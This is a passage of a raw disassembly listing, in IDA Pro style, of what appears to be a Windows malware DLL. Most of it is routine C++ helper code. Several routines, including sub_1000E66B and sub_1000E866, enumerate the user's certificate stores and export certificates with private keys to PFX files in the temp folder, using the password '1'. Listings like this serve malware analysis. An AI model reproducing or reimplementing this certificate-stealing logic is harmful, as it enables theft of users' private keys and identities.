		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DF10	proc near		; CODE XREF: sub_10003786+4ABp
					; sub_10003786+4F9p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+psz]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+20h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DF4B
		push	offset dword_100233B8
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DF4B:				; CODE XREF: sub_1000DF10+27j
		push	0		; char
		mov	eax, [ebp+psz]
		push	eax		; psz
		mov	ecx, [ebp+arg_0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z_0 ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DF70	proc near		; CODE XREF: sub_10003786+7ACp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+psz]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+28h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000DFAB
		push	offset dword_100233B8
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000DFAB:				; CODE XREF: sub_1000DF70+27j
		push	0		; char
		mov	eax, [ebp+psz]
		push	eax		; psz
		mov	ecx, [ebp+arg_0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z_0 ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000DFD0	proc near		; CODE XREF: sub_10003786+7C9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+psz]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+30h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000E00B
		push	offset dword_100233B8
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000E00B:				; CODE XREF: sub_1000DFD0+27j
		push	0		; char
		mov	eax, [ebp+psz]
		push	eax		; psz
		mov	ecx, [ebp+arg_0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z_0 ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000DFD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E030	proc near		; CODE XREF: sub_10003786+7E6p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+psz]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+0B4h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000E06E
		push	offset dword_100233B8
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000E06E:				; CODE XREF: sub_1000E030+2Aj
		push	0		; char
		mov	eax, [ebp+psz]
		push	eax		; psz
		mov	ecx, [ebp+arg_0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z_0 ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000E030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E090	proc near		; CODE XREF: sub_10003786+803p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
psz		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+psz]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+0BCh]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_1000E0CE
		push	offset dword_100233B8
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_1001C8FE


loc_1000E0CE:				; CODE XREF: sub_1000E090+2Aj
		push	0		; char
		mov	eax, [ebp+psz]
		push	eax		; psz
		mov	ecx, [ebp+arg_0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z_0 ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000E090	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000010 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E100	proc near		; CODE XREF: sub_10001089+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_1000E120
		push	80004003h
		call	sub_1001C8F0


loc_1000E120:				; CODE XREF: sub_1000E100+14j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000E100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E130	proc near		; CODE XREF: sub_100020B5+405p
					; sub_100020B5+425p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_1000E149
		push	80004003h
		call	sub_1001C8F0


loc_1000E149:				; CODE XREF: sub_1000E130+Dj
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E160	proc near		; CODE XREF: sub_100034DC+9p
					; sub_10003541+4Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 0
		setnz	cl
		mov	al, cl
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E180	proc near		; CODE XREF: sub_10003645+104p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_1000E197
		push	80004003h
		call	sub_1001C8F0


loc_1000E197:				; CODE XREF: sub_1000E180+Bj
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 0
		setz	cl
		mov	al, cl
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000E180	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION std::_Container_base::_Container_base(void). PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E1D0	proc near		; CODE XREF: sub_100010AC+8p
					; sub_100020B5+639p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000E290
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E1D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E1F0	proc near		; CODE XREF: sub_100020B5+3CEp
					; sub_100020B5+3F5p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000E290
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E1F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E210	proc near		; CODE XREF: sub_100034DC+37p
					; sub_10003541+7Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_1000E227
		push	80004003h
		call	sub_1001C8F0


loc_1000E227:				; CODE XREF: sub_1000E210+Bj
		push	0
		mov	ecx, [ebp+var_4]
		call	sub_1000E2C0
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000E210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E240	proc near		; CODE XREF: sub_1000DDE0+B0p
					; sub_1000DEB0+47p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_1000E264
		mov	ecx, [ebp+var_4]
		call	sub_1000E310


loc_1000E264:				; CODE XREF: sub_1000E240+1Aj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_1000E240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E270	proc near		; CODE XREF: sub_10003786+C6Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000E2C0
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000E270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E290	proc near		; CODE XREF: sub_1000E1D0+Ap
					; sub_1000E1F0+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_1000E2AF
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+8]


loc_1000E2AF:				; CODE XREF: sub_1000E290+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E2C0	proc near		; CODE XREF: sub_1000E210+1Cp
					; sub_1000E270+10p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_1000E2FD
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_8]
		call	sub_1000E310
		cmp	[ebp+var_4], 0
		jz	short loc_1000E2FD
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		push	edx
		call	dword ptr [ecx+8]


loc_1000E2FD:				; CODE XREF: sub_1000E2C0+11j
					; sub_1000E2C0+2Fj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000E2C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E310	proc near		; CODE XREF: sub_1000E240+1Fp
					; sub_1000E2C0+26p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_1000E32F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]


loc_1000E32F:				; CODE XREF: sub_1000E310+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E340	proc near		; CODE XREF: sub_10003786+345p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset dword_10023378
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword ptr [edx]
		pop	ebp
		retn	8
sub_1000E340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E360	proc near		; CODE XREF: sub_10003786+3E7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset dword_100233B8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword ptr [edx]
		pop	ebp
		retn	8
sub_1000E360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000E380	proc near		; CODE XREF: sub_10003786+6EBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset dword_100233A8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword ptr [edx]
		pop	ebp
		retn	8
sub_1000E380	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-0Ch], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp-10h], eax
		lea	ecx, [ebp-0Ch]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	ds:GetFileSize	; GetFileSize
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		push	eax
		call	ds:CryptMemAlloc
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-4]
		mov	[edx], eax
		push	0
		lea	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp-10h]
		push	eax
		call	ds:ReadFile	; ReadFile
		mov	ecx, [ebp-10h]
		push	ecx
		call	ds:CloseHandle	; CloseHandle
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-4], 2
		mov	dword ptr [ebp-8], 1
		push	1
		mov	eax, [ebp+10h]
		push	eax
		lea	ecx, [ebp+8]
		push	ecx
		call	ds:PFXImportCertStore
		mov	[ebp-0Ch], eax
		push	0
		mov	edx, [ebp-0Ch]
		push	edx
		call	ds:CertEnumCertificatesInStore
		mov	[ebp-10h], eax
		lea	eax, [ebp-8]
		push	eax
		lea	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		push	0
		push	0
		mov	eax, [ebp-10h]
		push	eax
		call	ds:CryptAcquireCertificatePrivateKey
		push	1
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	ds:CertCloseStore
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-4], 0
		push	0
		lea	eax, [ebp-8]
		push	eax
		push	0
		push	6
		mov	ecx, [ebp+8]
		push	ecx
		call	ds:CryptGetProvParam	; CryptGetProvParam
		mov	edx, [ebp-8]
		push	edx
		call	ds:CryptMemAlloc
		mov	[ebp-4], eax
		push	0
		lea	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		push	6
		mov	edx, [ebp+8]
		push	edx
		call	ds:CryptGetProvParam	; CryptGetProvParam
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-14h], 0
		push	0
		lea	eax, [ebp-1Ch]
		push	eax
		push	0
		push	0
		push	2
		mov	ecx, [ebp+0Ch]
		push	ecx
		push	10001h
		call	ds:CertStrToNameA
		mov	edx, [ebp-1Ch]
		push	edx
		call	ds:CryptMemAlloc
		mov	[ebp-18h], eax
		push	0
		lea	eax, [ebp-1Ch]
		push	eax
		mov	ecx, [ebp-18h]
		push	ecx
		push	0
		push	2
		mov	edx, [ebp+0Ch]
		push	edx
		push	10001h
		call	ds:CertStrToNameA
		lea	eax, [ebp-10h]
		push	eax
		call	ds:GetSystemTime	; GetSystemTime
		mov	cx, [ebp-10h]
		add	cx, 5
		mov	[ebp-10h], cx
		push	0
		lea	edx, [ebp-10h]
		push	edx
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-1Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	ds:CertCreateSelfSignCertificate
		mov	[ebp-20h], eax
		push	0
		push	2000h
		push	0
		push	0
		push	2
		call	ds:CertOpenStore
		mov	[ebp-14h], eax
		push	0
		push	1
		mov	edx, [ebp-20h]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	ds:CertAddCertificateContextToStore
		push	4
		push	0
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	ds:PFXExportCertStoreEx
		mov	ecx, [ebp+14h]
		mov	edx, [ecx]
		push	edx
		call	ds:CryptMemAlloc
		mov	ecx, [ebp+14h]
		mov	[ecx+4], eax
		push	4
		push	0
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	ds:PFXExportCertStoreEx
		mov	edx, [ebp-18h]
		push	edx
		call	ds:CryptMemFree
		push	1
		mov	eax, [ebp-14h]
		push	eax
		call	ds:CertCloseStore
		mov	ecx, [ebp-20h]
		push	ecx
		call	ds:CertFreeCertificateContext
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000E615(DWORD nNumberOfBytesToWrite,	LPCVOID	lpBuffer, LPCSTR lpFileName)

sub_1000E615	proc near		; CODE XREF: sub_1000E66B+1E9p

NumberOfBytesWritten= dword ptr	-8
hObject		= dword	ptr -4
nNumberOfBytesToWrite= dword ptr  8
lpBuffer	= dword	ptr  0Ch
lpFileName	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+hObject], 0
		mov	[ebp+NumberOfBytesWritten], 0
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		mov	eax, [ebp+lpFileName]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		mov	edx, [ebp+nNumberOfBytesToWrite]
		push	edx		; nNumberOfBytesToWrite
		mov	eax, [ebp+lpBuffer]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:WriteFile	; WriteFile
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E615	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000E66B(void	*pvPara)

sub_1000E66B	proc near		; CODE XREF: sub_1000A318+6B3p
					; sub_1000B7EF+AC9p

hCertStore	= dword	ptr -318h
pCertContext	= dword	ptr -314h
szPassword	= dword	ptr -310h
String2		= byte ptr -30Ch
var_30B		= byte ptr -30Bh
pszNameString	= byte ptr -20Ch
var_20B		= byte ptr -20Bh
hStore		= dword	ptr -10Ch
FileName	= byte ptr -108h
var_107		= byte ptr -107h
Dst		= dword	ptr -8
lpBuffer	= dword	ptr -4
pvPara		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 318h
		push	edi
		mov	[ebp+hCertStore], 0
		mov	[ebp+hStore], 0
		mov	[ebp+pCertContext], 0
		mov	[ebp+pszNameString], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_20B]
		rep stosd
		stosw
		stosb
		mov	[ebp+FileName],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosw
		stosb
		mov	[ebp+String2], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_30B]
		rep stosd
		stosw
		mov	[ebp+szPassword], offset a1_3 ;	"1"
		push	8		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		lea	ecx, [ebp+String2]
		push	ecx		; lpBuffer
		push	0FFh		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		mov	edx, [ebp+pvPara]
		push	edx		; pvPara
		push	10000h		; dwFlags
		push	0		; hCryptProv
		push	0		; dwEncodingType
		push	0Ah		; lpszStoreProvider
		call	ds:CertOpenStore
		mov	[ebp+hCertStore], eax
		cmp	[ebp+hCertStore], 0
		jnz	short loc_1000E732
		jmp	loc_1000E861
; ---------------------------------------------------------------------------


loc_1000E732:				; CODE XREF: sub_1000E66B+C0j
					; sub_1000E66B:loc_1000E85Cj
		mov	eax, [ebp+pCertContext]
		push	eax		; pPrevCertContext
		mov	ecx, [ebp+hCertStore]
		push	ecx		; hCertStore
		call	ds:CertEnumCertificatesInStore
		mov	[ebp+pCertContext], eax
		cmp	[ebp+pCertContext], 0
		jz	loc_1000E861
		push	80h		; cchNameString
		lea	edx, [ebp+pszNameString]
		push	edx		; pszNameString
		push	0		; pvTypePara
		push	0		; dwFlags
		push	4		; dwType
		mov	eax, [ebp+pCertContext]
		push	eax		; pCertContext
		call	ds:CertGetNameStringA
		test	eax, eax
		jz	loc_1000E85C
		push	0		; pvPara
		push	2000h		; dwFlags
		push	0		; hCryptProv
		push	0		; dwEncodingType
		push	2		; lpszStoreProvider
		call	ds:CertOpenStore
		mov	[ebp+hStore], eax
		push	0		; ppStoreContext
		push	1		; dwAddDisposition
		mov	ecx, [ebp+pCertContext]
		push	ecx		; pCertContext
		mov	edx, [ebp+hStore]
		push	edx		; hCertStore
		call	ds:CertAddCertificateContextToStore
		push	4		; dwFlags
		push	0		; pvReserved
		mov	eax, [ebp+szPassword]
		push	eax		; szPassword
		lea	ecx, [ebp+Dst]
		push	ecx		; pPFX
		mov	edx, [ebp+hStore]
		push	edx		; hStore
		call	ds:PFXExportCertStoreEx
		cmp	[ebp+Dst], 0
		jz	short loc_1000E7FC
		mov	eax, [ebp+Dst]
		push	eax		; cbSize
		call	ds:CryptMemAlloc
		mov	[ebp+lpBuffer],	eax
		push	4		; dwFlags
		push	0		; pvReserved
		mov	ecx, [ebp+szPassword]
		push	ecx		; szPassword
		lea	edx, [ebp+Dst]
		push	edx		; pPFX
		mov	eax, [ebp+hStore]
		push	eax		; hStore
		call	ds:PFXExportCertStoreEx


loc_1000E7FC:				; CODE XREF: sub_1000E66B+166j
		lea	ecx, [ebp+pszNameString]
		push	ecx
		call	sub_1000116E
		add	esp, 4
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		lea	eax, [ebp+FileName]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	ecx, [ebp+pszNameString]
		push	ecx		; lpString2
		lea	edx, [ebp+FileName]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	offset a_pfx_1	; ".pfx"
		lea	eax, [ebp+FileName]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		mov	edx, [ebp+lpBuffer]
		push	edx		; lpBuffer
		mov	eax, [ebp+Dst]
		push	eax		; nNumberOfBytesToWrite
		call	sub_1000E615
		add	esp, 0Ch


loc_1000E85C:				; CODE XREF: sub_1000E66B+10Fj
		jmp	loc_1000E732
; ---------------------------------------------------------------------------


loc_1000E861:				; CODE XREF: sub_1000E66B+C2j
					; sub_1000E66B+E8j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_1000E66B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000E866(char	*Str2)

sub_1000E866	proc near		; CODE XREF: sub_1000B7EF+B89p

hCertStore	= dword	ptr -108h
pCertContext	= dword	ptr -104h
Str1		= byte ptr -100h
Str2		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		mov	[ebp+hCertStore], 0
		mov	[ebp+pCertContext], 0
		push	offset aMy_1	; "MY"
		push	10000h		; dwFlags
		push	0		; hCryptProv
		push	0		; dwEncodingType
		push	0Ah		; lpszStoreProvider
		call	ds:CertOpenStore
		mov	[ebp+hCertStore], eax
		cmp	[ebp+hCertStore], 0
		jnz	short loc_1000E8AD
		jmp	loc_1000E954
; ---------------------------------------------------------------------------


loc_1000E8AD:				; CODE XREF: sub_1000E866+40j
					; sub_1000E866:loc_1000E940j
		mov	eax, [ebp+pCertContext]
		push	eax		; pPrevCertContext
		mov	ecx, [ebp+hCertStore]
		push	ecx		; hCertStore
		call	ds:CertEnumCertificatesInStore
		mov	[ebp+pCertContext], eax
		cmp	[ebp+pCertContext], 0
		jz	short loc_1000E945
		push	80h		; cchNameString
		lea	edx, [ebp+Str1]
		push	edx		; pszNameString
		push	0		; pvTypePara
		push	0		; dwFlags
		push	4		; dwType
